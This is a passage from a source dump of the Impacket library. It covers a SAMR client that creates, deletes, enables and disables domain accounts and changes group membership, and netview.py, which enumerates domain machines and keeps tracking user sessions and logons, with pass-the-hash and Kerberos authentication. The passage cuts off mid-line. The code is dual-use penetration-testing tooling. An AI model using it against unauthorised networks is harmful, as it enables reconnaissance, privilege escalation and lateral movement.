self._open_domain()\n        try:\n            user_handle = self._get_user_handle(domain_handle, name)\n            if action == 'enable':\n                self._hEnableAccount(user_handle)\n            else:\n                self._hDisableAccount(user_handle)\n        finally:\n            self._close_domain()\n\n\n\nclass Computer(User):\n    def __init__(self, smbConnection):\n        super().__init__(smbConnection)\n        self._create_account_type = samr.USER_WORKSTATION_TRUST_ACCOUNT\n        self._enum_account_type = samr.USER_WORKSTATION_TRUST_ACCOUNT | samr.USER_SERVER_TRUST_ACCOUNT\n\n\nclass Group(SamrObject):\n    def Enumerate(self):\n        domain_handle = self._open_domain()\n        try:\n            response = samr.hSamrEnumerateGroupsInDomain(self._dce, domain_handle)\n            for item in response['Buffer']['Buffer']:\n                yield item\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n        finally:\n            self._close_domain()\n    \n    def Query(self, group_name):\n        domain_handle = self._open_domain()\n        try:\n            group_handle = self._get_group_handle(domain_handle, group_name)\n            response = samr.hSamrGetMembersInGroup(self._dce, group_handle)\n            response = samr.hSamrLookupIdsInDomain(self._dce, domain_handle, list(map(lambda a: a['Data'], response['Members']['Members'])))\n            return list(map(lambda a: a['Data'], response['Names']['Element']))\n        finally:\n            self._close_domain()\n\n    def Join(self, group_name, username):\n        domain_handle = self._open_domain()\n        try:\n            group_handle = self._get_group_handle(domain_handle, group_name)\n            user_rid = self._get_object_rid(domain_handle, username)\n            samr.hSamrAddMemberToGroup(self._dce, group_handle, user_rid, samr.SE_GROUP_ENABLED_BY_DEFAULT)\n        finally:\n            self._close_domain()\n\n    def UnJoin(self, group_name, username):\n        domain_handle = self._open_domain()\n        try:\n            group_handle = self._get_group_handle(domain_handle, group_name)\n            user_rid = self._get_object_rid(domain_handle, username)\n            samr.hSamrRemoveMemberFromGroup(self._dce, group_handle, user_rid)\n        finally:\n            self._close_domain()\n\n\nclass Localgroup(Group):\n    def Enumerate(self):\n        domain_handle = self._open_domain(True)\n        try:\n            response = samr.hSamrEnumerateAliasesInDomain(self._dce, domain_handle)\n            for item in response['Buffer']['Buffer']:\n                yield item\n        except samr.DCERPCSessionError as e:\n            if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                raise\n        finally:\n            self._close_domain()\n    \n    def Query(self, group_name):\n        domain_handle = self._open_domain(True)\n        try:\n            alias_handle = self._get_alias_handle(domain_handle, group_name)\n            response = samr.hSamrGetMembersInAlias(self._dce, alias_handle)\n            response = self._resolve_sid(list(map(lambda s: s['Data']['SidPointer'].formatCanonical(), response['Members']['Sids'])))\n            return list(map(lambda x: x['Name'], response))\n        finally:\n            self._close_domain()\n\n    def Join(self, group_name, username):\n        domain_handle = self._open_domain(True)\n        try:\n            alias_handle = self._get_alias_handle(domain_handle, group_name)\n            user_sid = self._get_user_sid(username)\n            samr.hSamrAddMemberToAlias(self._dce, alias_handle, user_sid)\n        finally:\n            self._close_domain()\n\n    def UnJoin(self, group_name, username):\n        domain_handle = self._open_domain(True)\n        try:\n            alias_handle = self._get_alias_handle(domain_handle, group_name)\n            user_sid = self._get_user_sid(username)\n            samr.hSamrRemoveMemberFromAlias(self._dce, alias_handle, user_sid)\n        finally:\n            self._close_domain()\n\n\nclass Net:\n    def __init__(self, domain, username, password, options):\n        self.__domain = domain\n        self.__username = username\n        self.__password = password\n        self.__options = options\n        self.__action = options.entry.lower()\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = options.aesKey\n        self.__doKerberos = options.k\n        self.__kdcHost = options.dc_ip\n        self.__smbConnection = None\n\n        if options.hashes is not None:\n            self.__lmhash, self.__nthash = options.hashes.split(':')\n\n    def connect(self, remoteName, remoteHost):\n        self.__smbConnection = SMBConnection(remoteName, remoteHost, sess_port=int(self.__options.port))\n\n        if self.__doKerberos:\n            self.__smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,\n                                               self.__nthash, self.__aesKey, self.__kdcHost)\n        else:\n            self.__smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)\n\n    def disconnect(self):\n        self.__smbConnection.close()\n        self.__smbConnection = None\n\n    def run(self, remoteName, remoteHost):\n        self.connect(remoteName, remoteHost)\n\n        actionClass = self.__get_action_class(self.__action)\n        actionObject = actionClass(self.__smbConnection)\n\n        if self.__is_option_present(self.__options, 'create'):\n            print(\"[*] Creating {} account '{}'\".format(self.__action, self.__options.create))\n            actionObject.Create(self.__options.create, self.__options.newPasswd)\n            print(\"[+] {} account created succesfully: {}:{}\".format(self.__action, self.__options.create, self.__options.newPasswd))\n\n        elif self.__is_option_present(self.__options, 'remove'):\n            print(\"[*] Deleting {} account '{}'\".format(self.__action, self.__options.remove))\n            actionObject.Remove(self.__options.remove)\n            print(\"[+] {} account deleted succesfully!\".format(self.__action))\n\n        elif self.__is_option_present(self.__options, 'enable'):\n            print(\"[*] Enabling {} account '{}'\".format(self.__action, self.__options.enable))\n            actionObject.SetUserAccountControl(self.__options.enable, \"enable\")\n            print(\"[+] {} account enabled succesfully!\".format(self.__action))\n\n        elif self.__is_option_present(self.__options, 'disable'):\n            print(\"[*] Disabling {} account '{}'\".format(self.__action, self.__options.disable))\n            actionObject.SetUserAccountControl(self.__options.disable, \"disable\")\n            print(\"[+] {} account disabled succesfully!\".format(self.__action))\n\n        elif self.__is_option_present(self.__options, 'join'):\n            print(\"[*] Adding user account '{}' to group '{}'\".format(self.__options.join,self.__options.name))\n            actionObject.Join(self.__options.name, self.__options.join)\n            print(\"[+] User account added to {} succesfully!\".format(self.__options.name))\n\n        elif self.__is_option_present(self.__options, 'unjoin'):\n            print(\"[*] Removing user account '{}' from group '{}'\".format(self.__options.unjoin,self.__options.name))\n            actionObject.UnJoin(self.__options.name, self.__options.unjoin)\n            print(\"[+] User account removed from {} succesfully!\".format(self.__options.name))\n\n        elif self.__is_option_present(self.__options, 'name'):\n            info = actionObject.Query(self.__options.name)\n            if type(info) == list:\n                i = 1\n                for member in info:\n                    print(\"  {0}. {1}\".format(i, member))\n                    i += 1\n            else:\n                print(\"User name\".ljust(30), info['UserName'])\n                print(\"Full name\".ljust(30), info['FullName'])\n                print(\"Comment\".ljust(30), info['AdminComment'])\n                print(\"User's comment\".ljust(30), info['UserComment'])\n                print(\"Country/region code\".ljust(30), \"000 (System Default)\" if info['CountryCode'] == 0 else info['CountryCode'])\n                print(\"Account active\".ljust(30), self.__b2s(info['UserAccountControl'] & samr.USER_ACCOUNT_DISABLED != samr.USER_ACCOUNT_DISABLED))\n                print(\"Account expires\".ljust(30), self.__get_time_string(info['AccountExpires']))\n                print('')\n                print(\"Password last set\".ljust(30), self.__get_time_string(info['PasswordLastSet']))\n                print(\"Password expires\".ljust(30), self.__get_time_string(info['PasswordMustChange']))\n                print(\"Password changeable\".ljust(30), self.__get_time_string(info['PasswordCanChange']))\n                print(\"Password required\".ljust(30), self.__b2s(info['WhichFields'] & samr.USER_PASSWORD_NOT_REQUIRED == samr.USER_PASSWORD_NOT_REQUIRED))\n                print(\"User may change password\".ljust(30), self.__b2s(info['WhichFields'] & samr.UF_PASSWD_CANT_CHANGE == samr.UF_PASSWD_CANT_CHANGE))\n                print('')\n                print(\"Workstations allowed\".ljust(30), \"All\" if not info['WorkStations'] else info['WorkStations'])\n                print(\"Logon script\".ljust(30), info['ScriptPath'])\n                print(\"User profile\".ljust(30), info['ProfilePath'])\n                print(\"Home directory\".ljust(30), info['HomeDirectory'])\n                print(\"Last logon\".ljust(30), self.__get_time_string(info['LastLogon']))\n                print(\"Logon count\".ljust(30), info['LogonCount'])\n                print('')\n                print(\"Logon hours allowed\".ljust(30), self.__format_logon_hours(info['LogonHours']['LogonHours']))\n                print('')\n                print(\"Local Group Memberships\")\n                for group in info['LocalGroups']:\n                    print(\"  * {}\".format(group))\n                print('')\n                print(\"Global Group memberships\")\n                for group in info['GlobalGroups']:\n                    print(\"  * {}\".format(group))\n\n        else:\n            print(\"[*] Enumerating {}s ..\".format(self.__action))\n            i = 1\n            for object in actionObject.Enumerate():\n                messae = \"  {0}. {1}\".format(i, object['Name'])\n                if self.__options.debug:\n                    messae += \" ({0})\".format(object['RelativeId'])\n                print(messae)\n                i += 1\n\n        self.disconnect()\n\n    def __getUnixTime(self, t):\n        t -= 116444736000000000\n        t /= 10000000\n        return t\n\n    def __get_time_string(self, large_integer):\n        time = (large_integer['HighPart'] << 32) + large_integer['LowPart']\n        if time == 0 or time == 0x7FFFFFFFFFFFFFFF:\n            time = 'Never'\n        else:\n            time = datetime.fromtimestamp(self.__getUnixTime(time))\n            time = time.strftime(\"%m/%d/%Y %H:%M:%S %p\")\n        return time\n    \n    def __format_logon_hours(self, s):\n        logon_hours = ''.join(map(lambda b: b.hex(), s))\n        if logon_hours == ('f' * 42):\n            logon_hours = \"All\"\n        return logon_hours\n    \n    def __b2s(self, b):\n        return \"Yes\" if b else \"No\"\n\n    def __get_action_class(self, action):\n        return getattr(sys.modules[__name__], action.capitalize())\n    \n    def __is_option_present(self, options, option):\n        return hasattr(options, option) and getattr(options, option)\n\n\n\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser(add_help = True, description = \"SAMR rpc client implementation.\")\n\n    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n\n    subparsers = parser.add_subparsers(help='An account entry name', dest='entry', required=True)\n\n    user_parser = subparsers.add_parser('user', help='Enumerate all domain/local user accounts')\n    user_parser.add_argument('-name', action=\"store\", metavar = \"NAME\", help='Display single user information.')\n    user_parser.add_argument('-create', action=\"store\", metavar = \"NAME\", help='Add new user account to domain/computer.')\n    user_parser.add_argument('-remove', action=\"store\", metavar = \"NAME\", help='Remove existing user account from domain/computer.')\n    user_parser.add_argument('-newPasswd', action=\"store\", metavar = \"PASSWORD\", help='New password to set for creating account.')\n    user_parser.add_argument('-enable', action=\"store\", metavar = \"NAME\", help='Enables account.')\n    user_parser.add_argument('-disable', action=\"store\", metavar = \"NAME\", help='Disables account.')\n\n    computer_parser = subparsers.add_parser('computer', help='Enumerate all computers in domain level')\n    computer_parser.add_argument('-name', action=\"store\", metavar = \"NAME\", help='Display single computer information.')\n    computer_parser.add_argument('-create', action=\"store\", metavar = \"NAME\", help='Add new computer account to domain.')\n    computer_parser.add_argument('-remove', action=\"store\", metavar = \"NAME\", help='Remove existing computer account from domain.')\n    computer_parser.add_argument('-newPasswd', action=\"store\", metavar = \"PASSWORD\", help='New password to set for creating account.')\n    computer_parser.add_argument('-enable', action=\"store\", metavar = \"NAME\", help='Enables account.')\n    computer_parser.add_argument('-disable', action=\"store\", metavar = \"NAME\", help='Disables account.')\n\n    localgroup_parser = subparsers.add_parser('localgroup', help='Enumerate local groups (aliases) of local computer')\n    localgroup_parser.add_argument('-name', action=\"store\", metavar = \"NAME\", help='Operate on single specific domain group account.')\n    localgroup_parser.add_argument('-join', action=\"store\", metavar = \"USER\", help='Add user account to specific group.')\n    localgroup_parser.add_argument('-unjoin', action=\"store\", metavar = \"USER\", help='Remove user account from specific group.')\n\n    group_parser = subparsers.add_parser('group', help='Enumerate domain groups registered in domain controller')\n    group_parser.add_argument('-name', action=\"store\", metavar = \"NAME\", help='Operate on single specific localgroup account.')\n    group_parser.add_argument('-join', action=\"store\", metavar = \"USER\", help='Add user account to specific group.')\n    group_parser.add_argument('-unjoin', action=\"store\", metavar = \"USER\", help='Remove user account from specific group.')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                                                       '(KRB5CCNAME) based on target parameters. If valid credentials '\n                                                       'cannot be found, it will use the ones specified in the command '\n                                                       'line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n\n    group = parser.add_argument_group('connection')\n\n    group.add_argument('-dc-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '\n                            'the target parameter')\n    group.add_argument('-target-ip', action='store', metavar=\"ip address\",\n                       help='IP Address of the target machine. If omitted it will use whatever was specified as target. '\n                            'This is useful when target is the NetBIOS name and you cannot resolve it')\n    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar=\"destination port\",\n                       help='Destination port to connect to SMB Server')\n\n    if len(sys.argv) == 1:\n        parser.print_help()\n        sys.exit(1)\n\n    options = parser.parse_args()\n\n    if ((hasattr(options, 'join') and options.join) or hasattr(options, 'unjoin') and options.unjoin) and not options.name:\n        logging.error(\"argument '-name' is required with join/unjoin operations.\")\n        sys.exit(1)\n\n    if (hasattr(options, 'create') and options.create) and (not hasattr(options, 'create') or not options.newPasswd):\n        logging.error(\"argument '-newPasswd' is required for creating new account.\")\n        sys.exit(1)\n\n    logger.init(options.ts, options.debug)\n\n    domain, username, password, address = parse_target(options.target)\n\n    if options.target_ip is None:\n        options.target_ip = address\n\n    if domain is None:\n        domain = ''\n\n    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:\n        from getpass import getpass\n        password = getpass(\"Password: \")\n\n    if options.aesKey is not None:\n        options.k = True\n\n    if options.hashes is not None:\n        lmhash, nthash = options.hashes.split(':')\n    else:\n        lmhash = ''\n        nthash = ''\n\n    net = Net(domain, username, password, options)\n    try:\n        net.run(address, options.target_ip)\n    except Exception as e:\n        if logging.getLogger().level == logging.DEBUG:\n            import traceback\n            traceback.print_exc()\n        logging.error(str(e))\n"
  },
  {
    "path": "examples/netview.py",
    "content": "#!/usr/bin/env python\n# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   The idea of this script is to get a list of the sessions\n#   opened at the remote hosts and keep track of them.\n#   Coincidentally @mubix did something similar a few years\n#   ago so credit goes to him (and the script's name ;)).\n#   Check it out at https://github.com/mubix/netview\n#   The main difference with our approach is we keep\n#   looping over the hosts found and keep track of who logged\n#   in/out from remote servers. Plus, we keep the connections\n#   with the target systems and just send a few DCE-RPC packets.\n#\n#   One VERY IMPORTANT thing is:\n#\n#   YOU HAVE TO BE ABLE TO RESOLV THE DOMAIN MACHINES NETBIOS\n#   NAMES. That's usually solved by setting your DNS to the\n#   domain DNS (and the right search domain).\n#\n#   Some examples of usage are:\n#\n#   netview.py -target 192.168.1.10 beto\n#\n#   This will show the sessions on 192.168.1.10 and will authenticate as 'beto'\n#   (password will be prompted)\n#\n#   netview.py FREEFLY.NET/beto\n#\n#   This will download all machines from FREEFLY.NET, authenticated as 'beto'\n#   and will gather the session information for those machines that appear\n#   to be up. There is a background thread checking aliveness of the targets\n#   at all times.\n#\n#   netview.py -users /tmp/users -dc-ip freefly-dc.freefly.net -k FREEFLY.NET/beto\n#\n#   This will download all machines from FREEFLY.NET, authenticating using\n#   Kerberos (that's why -dc-ip parameter is needed), and filter\n#   the output based on the list of users specified in /tmp/users file.\n#\n# Author:\n#   beto (@agsolino)\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\nimport argparse\nimport logging\nimport socket\nfrom threading import Thread, Event\nfrom queue import Queue\nfrom time import sleep\n\nfrom impacket.examples import logger\nfrom impacket.examples.utils import parse_identity\nfrom impacket import version\nfrom impacket.smbconnection import SessionError\nfrom impacket.dcerpc.v5 import transport, wkst, srvs, samr\nfrom impacket.dcerpc.v5.ndr import NULL\nfrom impacket.dcerpc.v5.rpcrt import DCERPCException\nfrom impacket.nt_errors import STATUS_MORE_ENTRIES\n\nmachinesAliveQueue = Queue()\nmachinesDownQueue = Queue()\n\nmyIP = None\n\n\ndef checkMachines(machines, stopEvent, singlePass=False):\n    origLen = len(machines)\n    deadMachines = machines\n    done = False\n    while not done:\n        if stopEvent.is_set():\n             done = True\n             break\n        for machine in deadMachines:\n            s = socket.socket()\n            try:\n                s = socket.create_connection((machine, 445), 2)\n                global myIP\n                myIP = s.getsockname()[0]\n                s.close()\n                machinesAliveQueue.put(machine)\n            except Exception as e:\n                logging.debug('%s: not alive (%s)' % (machine, e))\n                pass\n            else:\n                logging.debug('%s: alive!' % machine)\n                deadMachines.remove(machine)\n            if stopEvent.is_set():\n                 done = True\n                 break\n\n        logging.debug('up: %d, down: %d, total: %d' % (origLen-len(deadMachines), len(deadMachines), origLen))\n        if singlePass is True:\n            done = True\n        if not done:\n            sleep(10)\n            # Do we have some new deadMachines to add?\n            while machinesDownQueue.empty() is False:\n                deadMachines.append(machinesDownQueue.get())\n\nclass USERENUM:\n    def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=False, options=None):\n        self.__username = username\n        self.__password = password\n        self.__domain = domain\n        self.__lmhash = ''\n        self.__nthash = ''\n        self.__aesKey = aesKey\n        self.__doKerberos = doKerberos\n        self.__kdcHost = options.dc_ip\n        self.__options = options\n        self.__machinesList = list()\n        self.__targets = dict()\n        self.__filterUsers = None\n        self.__targetsThreadEvent = None\n        self.__targetsThread = None\n        self.__maxConnections = int(options.max_connections)\n        if hashes is not None:\n            self.__lmhash, self.__nthash = hashes.split(':')\n\n    def getDomainMachines(self):\n        if self.__kdcHost is not None:\n            domainController = self.__kdcHost\n        elif self.__domain != '':\n            domainController = self.__domain\n        else:\n            raise Exception('A domain is needed!')\n\n        logging.info('Getting machine\\'s list from %s' % domainController)\n        rpctransport = transport.SMBTransport(domainController, 445, r'\\samr', self.__username, self.__password,\n                                              self.__domain, self.__lmhash, self.__nthash, self.__aesKey,\n                                              doKerberos=self.__doKerberos, kdcHost = self.__kdcHost)\n        dce = rpctransport.get_dce_rpc()\n        dce.connect()\n        dce.bind(samr.MSRPC_UUID_SAMR)\n        try:\n            resp = samr.hSamrConnect(dce)\n            serverHandle = resp['ServerHandle'] \n\n            resp = samr.hSamrEnumerateDomainsInSamServer(dce, serverHandle)\n            domains = resp['Buffer']['Buffer']\n\n            logging.info(\"Looking up users in domain %s\" % domains[0]['Name'])\n\n            resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,domains[0]['Name'] )\n\n            resp = samr.hSamrOpenDomain(dce, serverHandle = serverHandle, domainId = resp['DomainId'])\n            domainHandle = resp['DomainHandle']\n\n            status = STATUS_MORE_ENTRIES\n            enumerationContext = 0\n            while status == STATUS_MORE_ENTRIES:\n                try:\n                    resp = samr.hSamrEnumerateUsersInDomain(dce, domainHandle, samr.USER_WORKSTATION_TRUST_ACCOUNT,\n                                                            enumerationContext=enumerationContext)\n                except DCERPCException as e:\n                    if str(e).find('STATUS_MORE_ENTRIES') < 0:\n                        raise\n                    resp = e.get_packet()\n\n                for user in resp['Buffer']['Buffer']:\n                    self.__machinesList.append(user['Name'][:-1])\n                    logging.debug('Machine name - rid: %s - %d'% (user['Name'], user['RelativeId']))\n\n                enumerationContext = resp['EnumerationContext'] \n                status = resp['ErrorCode']\n        except Exception as e:\n            raise e\n\n        dce.disconnect()\n\n    def getTargets(self):\n        logging.info('Importing targets')\n        if self.__options.target is None and self.__options.targets is None:\n            # We need to download the list of machines from the domain\n            self.getDomainMachines()\n        elif self.__options.targets is not None:\n            for line in self.__options.targets.readlines():\n                self.__machinesList.append(line.strip(' \\r\\n'))\n        else:\n            # Just a single machine\n            self.__machinesList.append(self.__options.target)\n        logging.info(\"Got %d machines\" % len(self.__machinesList))\n          \n    def filterUsers(self):\n        if self.__options.user is not None:\n            self.__filterUsers = list()\n            self.__filterUsers.append(self.__options.user)\n        elif self.__options.users is not None:\n            # Grab users list from a file\n            self.__filterUsers = list()\n            for line in self.__options.users.readlines():\n                self.__filterUsers.append(line.strip(' \\r\\n'))\n        else:\n            self.__filterUsers = None\n\n    def run(self):\n        self.getTargets()\n        self.filterUsers()\n        #self.filterGroups()\n       \n        # Up to here we should have figured out the scope of our work\n        self.__targetsThreadEvent = Event()\n        if self.__options.noloop is False:\n            # Start a separate thread checking the targets that are up\n            self.__targetsThread = Thread(target=checkMachines, args=(self.__machinesList,self.__targetsThreadEvent))\n            self.__targetsThread.start()\n        else:\n            # Since it's gonna be a one shoot test, we need to wait till it finishes\n            checkMachines(self.__machinesList,self.__targetsThreadEvent, singlePass=True)\n\n        while True:\n            # Do we have more machines to add?\n            while machinesAliveQueue.empty() is False:\n                machine = machinesAliveQueue.get()\n                logging.debug('Adding %s to the up list' % machine)\n                self.__targets[machine] = {}\n                self.__targets[machine]['SRVS'] = None\n                self.__targets[machine]['WKST'] = None\n                self.__targets[machine]['Admin'] = True\n                self.__targets[machine]['Sessions'] = list()\n                self.__targets[machine]['LoggedIn'] = set()\n            \n            for target in list(self.__targets.keys()):\n                try:\n                    self.getSessions(target)\n                    self.getLoggedIn(target) \n                except (SessionError, DCERPCException) as e:\n                    # We will silently pass these ones, might be issues with Kerberos, or DCE\n                    if str(e).find('LOGON_FAILURE') >=0:\n                        # For some reason our credentials don't work there, \n                        # taking it out from the list.\n                        logging.error('STATUS_LOGON_FAILURE for %s, discarding' % target)\n                        del(self.__targets[target])\n                    elif str(e).find('INVALID_PARAMETER') >=0:\n                        del(self.__targets[target])\n                    elif str(e).find('access_denied') >=0:\n                        # Can't access the target RPC call, most probably a Unix host\n                        # taking it out from the list\n                        del(self.__targets[target])\n                    else:\n                        logging.info(str(e))\n                    pass \n                except KeyboardInterrupt:\n                    raise\n                except Exception as e:\n                    #import traceback\n                    #traceback.print_exc()\n                    if str(e).find('timed out') >=0:\n                        # Most probably this site went down. taking it out\n                        # ToDo: add it back to the list of machines to check in\n                        # the separate thread - DONE\n                        del(self.__targets[target])\n                        machinesDownQueue.put(target)\n                    else:\n                        # These ones we will report\n                        logging.error(e)\n                    pass\n\n            if self.__options.noloop is True:\n                break\n\n            logging.debug('Sleeping for %s seconds' % self.__options.delay)\n            logging.debug('Currently monitoring %d active targets' % len(self.__targets))\n            sleep(int(self.__options.delay))\n\n    def getSessions(self, target):\n        if self.__targets[target]['SRVS'] is None:\n            stringSrvsBinding = r'ncacn_np:%s[\\PIPE\\srvsvc]' % target\n            rpctransportSrvs = transport.DCERPCTransportFactory(stringSrvsBinding)\n            if hasattr(rpctransportSrvs, 'set_credentials'):\n            # This method exists only for selected protocol sequences.\n                rpctransportSrvs.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,\n                                                 self.__nthash, self.__aesKey)\n                rpctransportSrvs.set_kerberos(self.__doKerberos, self.__kdcHost)\n\n            dce = rpctransportSrvs.get_dce_rpc()\n            dce.connect()\n            dce.bind(srvs.MSRPC_UUID_SRVS)\n            self.__maxConnections -= 1\n        else:\n            dce = self.__targets[target]['SRVS']\n\n        try:\n            resp = srvs.hNetrSessionEnum(dce, '\\x00', NULL, 10)\n        except Exception as e:\n            if str(e).find('Broken pipe') >= 0:\n                # The connection timed-out. Let's try to bring it back next round\n                self.__targets[target]['SRVS'] = None\n                self.__maxConnections += 1\n                return\n            else:\n                raise\n\n        if self.__maxConnections < 0:\n            # Can't keep this connection open. Closing it\n            dce.disconnect()\n            self.__maxConnections = 0\n        else:\n             self.__targets[target]['SRVS'] = dce\n\n        # Let's see who createad a connection since last check\n        tmpSession = list()\n        printCRLF = False\n        for session in resp['InfoStruct']['SessionInfo']['Level10']['Buffer']:\n            userName = session['sesi10_username'][:-1]\n            sourceIP = session['sesi10_cname'][:-1][2:]\n            key = '%s\\x01%s' % (userName, sourceIP)\n            myEntry = '%s\\x01%s' % (self.__username, myIP)\n            tmpSession.append(key)\n            if not(key in self.__targets[target]['Sessions']):\n                # Skipping myself\n                if key != myEntry:\n                    self.__targets[target]['Sessions'].append(key)\n                    # Are we filtering users?\n                    if self.__filterUsers is not None:\n                        if userName in self.__filterUsers:\n                            logging.info(\"%s: user %s logged from host %s - active: %d, idle: %d\" % (\n                            target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']))\n                            printCRLF = True\n                    else:\n                        logging.info(\"%s: user %s logged from host %s - active: %d, idle: %d\" % (\n                        target, userName, sourceIP, session['sesi10_time'], session['sesi10_idle_time']))\n                        printCRLF = True\n\n        # Let's see who deleted a connection since last check\n        for nItem, session in enumerate(self.__targets[target]['Sessions']):\n            userName, sourceIP = session.split('\\x01')\n            if session not in tmpSession:\n                del(self.__targets[target]['Sessions'][nItem])\n                # Are we filtering users?\n                if self.__filterUsers is not None:\n                    if userName in self.__filterUsers:\n                        logging.info(\"%s: user %s logged off from host %s\" % (target, userName, sourceIP))\n                        printCRLF=True\n                else:\n                    logging.info(\"%s: user %s logged off from host %s\" % (target, userName, sourceIP))\n                    printCRLF=True\n                \n        if printCRLF is True:\n            print()\n        \n    def getLoggedIn(self, target):\n        if self.__targets[target]['Admin'] is False:\n            return\n\n        if self.__targets[target]['WKST'] is None:\n            stringWkstBinding = r'ncacn_np:%s[\\PIPE\\wkssvc]' % target\n            rpctransportWkst = transport.DCERPCTransportFactory(stringWkstBinding)\n            if hasattr(rpctransportWkst, 'set_credentials'):\n                # This method exists only for selected protocol sequences.\n                rpctransportWkst.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,\n                                                 self.__nthash, self.__aesKey)\n                rpctransportWkst.set_kerberos(self.__doKerberos, self.__kdcHost)\n\n            dce = rpctransportWkst.get_dce_rpc()\n            dce.connect()\n            dce.bind(wkst.MSRPC_UUID_WKST)\n            self.__maxConnections -= 1\n        else:\n            dce = self.__targets[target]['WKST']\n\n        try:\n            resp = wkst.hNetrWkstaUserEnum(dce,1)\n        except Exception as e:\n            if str(e).find('Broken pipe') >= 0:\n                # The connection timed-out. Let's try to bring it back next round\n                self.__targets[target]['WKST'] = None\n                self.__maxConnections += 1\n                return\n            elif str(e).upper().find('ACCESS_DENIED'):\n                # We're not admin, bye\n                dce.disconnect()\n                self.__maxConnections += 1\n                self.__targets[target]['Admin'] = False\n                return\n            else:\n                raise\n\n        if self.__maxConnections < 0:\n            # Can't keep this connection open. Closing it\n            dce.disconnect()\n            self.__maxConnections = 0\n        else:\n             self.__targets[target]['WKST'] = dce\n\n        # Let's see who looged in locally since last check\n        tmpLoggedUsers = set()\n        printCRLF = False\n        for session in resp['UserInfo']['WkstaUserInfo']['Level1']['Buffer']:\n            userName = session['wkui1_username'][:-1]\n            logonDomain = session['wkui1_logon_domain'][:-1]\n            key = '%s\\x01%s' % (userName, logonDomain)\n            tmpLoggedUsers.add(key)\n            if not(key in self.__targets[target]['LoggedIn']):\n                self.__targets[target]['LoggedIn'].add(key)\n                # Are we filtering users?\n                if self.__filterUsers is not None:\n                    if userName in self.__filterUsers:\n                        logging.info(\"%s: user %s\\\\%s logged in LOCALLY\" % (target,logonDomain,userName))\n                        printCRLF=True\n                else:\n                    logging.info(\"%s: user %s\\\\%s logged in LOCALLY\" % (target,logonDomain,userName))\n                    printCRLF=True\n\n        # Let's see who logged out since last check\n        for session in self.__targets[target]['LoggedIn'].copy():\n            userName, logonDomain = session.split('\\x01')\n            if session not in tmpLoggedUsers:\n                self.__targets[target]['LoggedIn'].remove(session)\n                # Are we filtering users?\n                if self.__filterUsers is not None:\n                    if userName in self.__filterUsers:\n                        logging.info(\"%s: user %s\\\\%s logged off LOCALLY\" % (target,logonDomain,userName))\n                        printCRLF=True\n                else:\n                    logging.info(\"%s: user %s\\\\%s logged off LOCALLY\" % (target,logonDomain,userName))\n                    printCRLF=True\n                \n        if printCRLF is True:\n            print()\n\n    def stop(self):\n        if self.__targetsThreadEvent is not None:\n            self.__targetsThreadEvent.set()\n        \n\n# Process command-line arguments.\nif __name__ == '__main__':\n    print(version.BANNER)\n\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('identity', action='store', help='[domain/]username[:password]')\n    parser.add_argument('-user', action='store', help='Filter output by this user')\n    parser.add_argument('-users', type=argparse.FileType('r'), help='input file with list of users to filter to output for')\n    #parser.add_argument('-group', action='store', help='Filter output by members of this group')\n    #parser.add_argument('-groups', type=argparse.FileType('r'), help='Filter output by members of the groups included in the input file')\n    parser.add_argument('-target', action='store', help='target system to query info from. If not specified script will '\n                                                        'run in domain mode.')\n    parser.add_argument('-targets', type=argparse.FileType('r'), help='input file with targets system to query info '\n                        'from (one per line). If not specified script will run in domain mode.')\n    parser.add_argument('-noloop', action='store_true', default=False, help='Stop after the first probe')\n    parser.add_argument('-delay', action='store', default = '10', help='seconds delay between starting each batch probe '\n                                                                       '(default 10 seconds)')\n    parser.add_argument('-max-connections', action='store', default='1000', help='Max amount of connections to keep '\n                                                                                 'opened (default 1000)')\n    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')\n    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')\n\n    group = parser.add_argument_group('authentication')\n\n    group.add_argument('-hashes', action=\"store\", metavar = \"LMHASH:NTHASH\", help='NTLM hashes, format is LMHASH:NTHASH')\n    group.add_argument('-no-pass', action=\"store_true\", help='don\\'t ask for password (useful for -k)')\n    group.add_argument('-k', action=\"store_true\", help='Use Kerberos authentication. Grabs credentials from ccache file '\n                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '\n                       'ones specified in the command line')\n    group.add_argument('-aesKey', action=\"store\", metavar = \"hex key\", help='AES key to use for Kerberos Authentication '\n                                                                            '(128 or 256 bits)')\n    group.add_argument('-dc-ip', action='store',metavar = \"ip address\",  help='IP Address of the domain controller. If '\n                       'ommited it use the domain part (FQDN) specified in the target parameter')\n\n    if 